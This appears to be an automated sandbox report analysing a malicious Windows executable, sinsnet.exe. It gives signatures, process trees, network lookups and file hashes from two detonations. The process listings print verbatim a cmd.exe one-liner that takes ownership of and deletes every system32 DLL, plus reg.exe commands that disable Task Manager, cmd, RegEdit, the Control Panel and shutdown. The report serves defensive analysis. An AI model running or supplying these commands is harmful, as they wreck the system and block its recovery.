Analysis Overview
SHA256
20b35a086361fb16d850d016533e5de2a25c64a3e0bcc3be26472d9e15bae1b6
Threat Level: Likely malicious
The file sinsnet.exe was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Disables cmd.exe use via registry modification
Disables RegEdit via registry modification
Disables Task Manager via registry modification
Checks computer location settings
Modifies file permissions
Drops file in Windows directory
Enumerates physical storage devices
Unsigned PE
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious use of FindShellTrayWindow
Suspicious use of SetWindowsHookEx
Suspicious use of AdjustPrivilegeToken
Modifies registry key
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-06 09:38
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-06 09:38
Reported
2024-08-06 09:41
Platform
win7-20240708-en
Max time kernel
118s
Max time network
119s
Command Line
Signatures
Disables RegEdit via registry modification
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" | C:\Windows\System32\reg.exe | N/A |
Disables Task Manager via registry modification
Disables cmd.exe use via registry modification
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1" | C:\Windows\System32\reg.exe | N/A |
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Windows\System32\mspaint.exe | N/A |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Windows\System32\mspaint.exe | N/A |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Windows\System32\mspaint.exe | N/A |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Windows\System32\mspaint.exe | N/A |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Windows\System32\mspaint.exe | N/A |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Windows\System32\mspaint.exe | N/A |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Windows\System32\mspaint.exe | N/A |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Windows\System32\mspaint.exe | N/A |
Enumerates physical storage devices
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\reg.exe | N/A |
| N/A | N/A | C:\Windows\System32\reg.exe | N/A |
| N/A | N/A | C:\Windows\System32\reg.exe | N/A |
| N/A | N/A | C:\Windows\System32\reg.exe | N/A |
| N/A | N/A | C:\Windows\System32\reg.exe | N/A |
| N/A | N/A | C:\Windows\System32\reg.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\sinsnet.exe
"C:\Users\Admin\AppData\Local\Temp\sinsnet.exe"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f c:\windows\system32\*.dll && icacls c:\windows\system32\*.dll /grant Everyone:(F) && del /s /q c:\windows\system32\*.dll && exit
C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\*.dll
C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
C:\Windows\System32\mspaint.exe
"C:\Windows\System32\mspaint.exe"
C:\Windows\System32\notepad.exe
"C:\Windows\System32\notepad.exe" note.txt
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\*.dll /grant Everyone:(F)
C:\Windows\System32\mspaint.exe
"C:\Windows\System32\mspaint.exe"
C:\Windows\System32\notepad.exe
"C:\Windows\System32\notepad.exe" note.txt
C:\Windows\System32\notepad.exe
"C:\Windows\System32\notepad.exe" note.txt
C:\Windows\System32\mspaint.exe
"C:\Windows\System32\mspaint.exe"
C:\Windows\System32\mspaint.exe
"C:\Windows\System32\mspaint.exe"
C:\Windows\System32\mspaint.exe
"C:\Windows\System32\mspaint.exe"
C:\Windows\System32\mspaint.exe
"C:\Windows\System32\mspaint.exe"
C:\Windows\System32\mspaint.exe
"C:\Windows\System32\mspaint.exe"
C:\Windows\System32\mspaint.exe
"C:\Windows\System32\mspaint.exe"
Network
Files
memory/1572-0-0x000000013F770000-0x000000013F910000-memory.dmp
memory/2852-2-0x000007FEFA910000-0x000007FEFA95C000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\note.txt
| MD5 | 78551eabd7131c45b744a0cf420d29f7 |
| SHA1 | 0f6792d1f3339ab5ac7674ad46267049ec9eb2b7 |
| SHA256 | 9904338a1a2758f5969ba2affe5c46beaac955b6c4b87c67d20063ef5e0602f8 |
| SHA512 | abee3d1cd3860afe799deaac6e2c45fb741504ff80eb9fc7f39705cd7a9d46f61cee13cea6e676a33ea566f9256e13fa62dac7156b376ff94a7ced742516c064 |
memory/2716-4-0x000007FEFA910000-0x000007FEFA95C000-memory.dmp
memory/1848-5-0x000007FEFA910000-0x000007FEFA95C000-memory.dmp
memory/2180-6-0x000007FEFA910000-0x000007FEFA95C000-memory.dmp
memory/2592-8-0x000007FEFA910000-0x000007FEFA95C000-memory.dmp
memory/1572-7-0x000000013F770000-0x000000013F910000-memory.dmp
memory/1680-9-0x000007FEFA910000-0x000007FEFA95C000-memory.dmp
memory/1480-10-0x000007FEFA910000-0x000007FEFA95C000-memory.dmp
memory/1572-11-0x000000013F770000-0x000000013F910000-memory.dmp
memory/2020-12-0x000007FEFA910000-0x000007FEFA95C000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-06 09:38
Reported
2024-08-06 09:40
Platform
win10v2004-20240802-en
Max time kernel
73s
Max time network
54s
Command Line
Signatures
Disables RegEdit via registry modification
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" | C:\Windows\System32\reg.exe | N/A |
Disables Task Manager via registry modification
Disables cmd.exe use via registry modification
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1" | C:\Windows\System32\reg.exe | N/A |
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\sinsnet.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Windows\System32\mspaint.exe | N/A |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Windows\System32\mspaint.exe | N/A |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Windows\System32\mspaint.exe | N/A |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Windows\System32\mspaint.exe | N/A |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Windows\System32\mspaint.exe | N/A |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Windows\System32\mspaint.exe | N/A |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Windows\System32\mspaint.exe | N/A |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Windows\System32\mspaint.exe | N/A |
Enumerates physical storage devices
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\reg.exe | N/A |
| N/A | N/A | C:\Windows\System32\reg.exe | N/A |
| N/A | N/A | C:\Windows\System32\reg.exe | N/A |
| N/A | N/A | C:\Windows\System32\reg.exe | N/A |
| N/A | N/A | C:\Windows\System32\reg.exe | N/A |
| N/A | N/A | C:\Windows\System32\reg.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\mspaint.exe | N/A |
| N/A | N/A | C:\Windows\System32\mspaint.exe | N/A |
| N/A | N/A | C:\Windows\System32\mspaint.exe | N/A |
| N/A | N/A | C:\Windows\System32\mspaint.exe | N/A |
| N/A | N/A | C:\Windows\System32\mspaint.exe | N/A |
| N/A | N/A | C:\Windows\System32\mspaint.exe | N/A |
| N/A | N/A | C:\Windows\System32\mspaint.exe | N/A |
| N/A | N/A | C:\Windows\System32\mspaint.exe | N/A |
| N/A | N/A | C:\Windows\System32\mspaint.exe | N/A |
| N/A | N/A | C:\Windows\System32\mspaint.exe | N/A |
| N/A | N/A | C:\Windows\System32\mspaint.exe | N/A |
| N/A | N/A | C:\Windows\System32\mspaint.exe | N/A |
| N/A | N/A | C:\Windows\System32\mspaint.exe | N/A |
| N/A | N/A | C:\Windows\System32\mspaint.exe | N/A |
| N/A | N/A | C:\Windows\System32\mspaint.exe | N/A |
| N/A | N/A | C:\Windows\System32\mspaint.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\mspaint.exe | N/A |
| N/A | N/A | C:\Windows\System32\mspaint.exe | N/A |
| N/A | N/A | C:\Windows\System32\mspaint.exe | N/A |
| N/A | N/A | C:\Windows\System32\notepad.exe | N/A |
| N/A | N/A | C:\Windows\System32\mspaint.exe | N/A |
| N/A | N/A | C:\Windows\System32\notepad.exe | N/A |
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\sinsnet.exe
"C:\Users\Admin\AppData\Local\Temp\sinsnet.exe"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f c:\windows\system32\*.dll && icacls c:\windows\system32\*.dll /grant Everyone:(F) && del /s /q c:\windows\system32\*.dll && exit
C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\*.dll
C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
C:\Windows\System32\mspaint.exe
"C:\Windows\System32\mspaint.exe"
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
C:\Windows\System32\notepad.exe
"C:\Windows\System32\notepad.exe" note.txt
C:\Windows\System32\mspaint.exe
"C:\Windows\System32\mspaint.exe"
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\*.dll /grant Everyone:(F)
C:\Windows\System32\notepad.exe
"C:\Windows\System32\notepad.exe" note.txt
C:\Windows\System32\notepad.exe
"C:\Windows\System32\notepad.exe" note.txt
C:\Windows\System32\mspaint.exe
"C:\Windows\System32\mspaint.exe"
C:\Windows\System32\mspaint.exe
"C:\Windows\System32\mspaint.exe"
C:\Windows\System32\mspaint.exe
"C:\Windows\System32\mspaint.exe"
C:\Windows\System32\mspaint.exe
"C:\Windows\System32\mspaint.exe"
C:\Windows\System32\mspaint.exe
"C:\Windows\System32\mspaint.exe"
C:\Windows\System32\mspaint.exe
"C:\Windows\System32\mspaint.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 79.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 69.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 59.82.57.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
Files
memory/4216-0-0x00007FF60E790000-0x00007FF60E930000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\note.txt
| MD5 | 78551eabd7131c45b744a0cf420d29f7 |
| SHA1 | 0f6792d1f3339ab5ac7674ad46267049ec9eb2b7 |
| SHA256 | 9904338a1a2758f5969ba2affe5c46beaac955b6c4b87c67d20063ef5e0602f8 |
| SHA512 | abee3d1cd3860afe799deaac6e2c45fb741504ff80eb9fc7f39705cd7a9d46f61cee13cea6e676a33ea566f9256e13fa62dac7156b376ff94a7ced742516c064 |
C:\Windows\Debug\WIA\wiatrace.log
| MD5 | c27f3ddb99affd353ee49336b98d25de |
| SHA1 | bf94a4e90e643b320e91f5b0983cf995fa561d78 |
| SHA256 | 938870fc0c89fcba2280d2ec4dc8a80305b67a11e3e02d7a7e4b4c78843090d9 |
| SHA512 | 366769449289286ed185e38a24f1acd8784c3861305be7fe81e83755005766e91e8119a7efa005b3e5c202e0ae9eaa6344c8a520f50bf51bd2cf83cfb42d5daf |
memory/4216-4-0x00007FF60E790000-0x00007FF60E930000-memory.dmp
C:\Windows\Debug\WIA\wiatrace.log
| MD5 | bd5929ef970efcbd6727cb6e98d7b9fa |
| SHA1 | ca943ece2406f96facfe2e2f0031749bf5a39a54 |
| SHA256 | c08b809eb8b5c33ae82ac7e39ea4bc896798895fbabc77a086fcf6d1f712c688 |
| SHA512 | fffb3cf2be65b88ba61a8b82d1a0974329be732b8bb1f327e7911f119bd041f6cc87b5b68f7b8536b06d7385b23b39656e9fd1ed2cd25cddf7a3fcb83b06039c |
C:\Windows\Debug\WIA\wiatrace.log
| MD5 | 57728eb44d414c2249824b303d1c6300 |
| SHA1 | 3e8bb65f892d52afb8836d2159b3e0aeb229d4d3 |
| SHA256 | feba0b1560c5656a63b4b5facf4b9866822823b74e735b156a9cd397a6fa1cf5 |
| SHA512 | b9e285af0c4085c3bad000596966e5729413a521c6423318d09c1f75c4830aa9d39f51c8a71f88f83ce49544314144ac6e13c9b083cf65969ff3fcb265f8d528 |
C:\Windows\Debug\WIA\wiatrace.log
| MD5 | 7ce6659dadf7399a50bc4d889f586c87 |
| SHA1 | 939329909f8c0e82acbcbde012f363d1b98607b0 |
| SHA256 | 1f15cf5365d5e3f967f31fa4647ab7780880a1cef7f1b89b1581b823c9d43af7 |
| SHA512 | 3d3c0f05b0bb8b03845ada9963e84b436b998c2876700db74a39e2efca0415da652b93aec825b1d8d9dd77fb7915a6d64f86e4a12956a7bfabe206bad4da7f11 |
C:\Windows\Debug\WIA\wiatrace.log
| MD5 | d98bb6502629770ceaa2017746309d31 |
| SHA1 | caa862acc401386f1a5a8538a45b53a4a9d4035c |
| SHA256 | 8ce55892bc52d603af9d72794fe7ded9f74f7a86aa3c0b0e5dca369ae95e4194 |
| SHA512 | 5a2df6fb1eab8f2401cc748af70edb2efcf2e87264f986b3eb2fd9110551e0149bce1208eeaf5f25074e7463461afc9d90c431d8977f31187133773255c93fc5 |
C:\Windows\Debug\WIA\wiatrace.log
| MD5 | 8b60e298b6c6b4ebd04a553475668b76 |
| SHA1 | 7156c57bf9b1a4ec6a4ac7d5b40f11ca72d3d378 |
| SHA256 | feb25f3031b6fe03490927907861459b98f9fd470896b12e18e34aff8384e8df |
| SHA512 | 027f5fda987fcdc78185642e025acd745b262375eba307eb92321ee383b0636c2de47dc909a58359242388e613cf90ab52e6d0dcd01ae33a02c94548b8a76e56 |
memory/4216-10-0x00007FF60E790000-0x00007FF60E930000-memory.dmp
C:\Windows\Debug\WIA\wiatrace.log
| MD5 | 89d82b2783258611967f53427420659c |
| SHA1 | fdf96ff76d4f3e5addfa3fe37cbab0c707812514 |
| SHA256 | 30b22d6a32bd7088fe35165d3c0615e5833ec418a38d24925f17df7b4c000b94 |
| SHA512 | 13cdfad4912f89dfcb51dfbcb67ca26d8fe6dbfbb4abd80a9059ac5cf6838614ce9dd2a8e1b9544a5557c79d9bd0a6e9bcd92c06e29a2ef60c8924fcd6fed51a |
C:\Windows\debug\WIA\wiatrace.log
| MD5 | 2e7915f9e3fe4ac2ca44ca5aaf7636b2 |
| SHA1 | 9ffb763554f9a3838bf7a45272ca5af8065b8747 |
| SHA256 | abe842c0b98e91573fd0bb6a62e4e772c46c56a1977dd304e024817a95cc156a |
| SHA512 | 393fc4d4d628b1b78b5b48ede55a0df38ffcc1d398618843855e3654ae2cabadab93de06d7f3300be96a4c4da20e624995c08c5cabfedc94d9efbfbe4ffaac56 |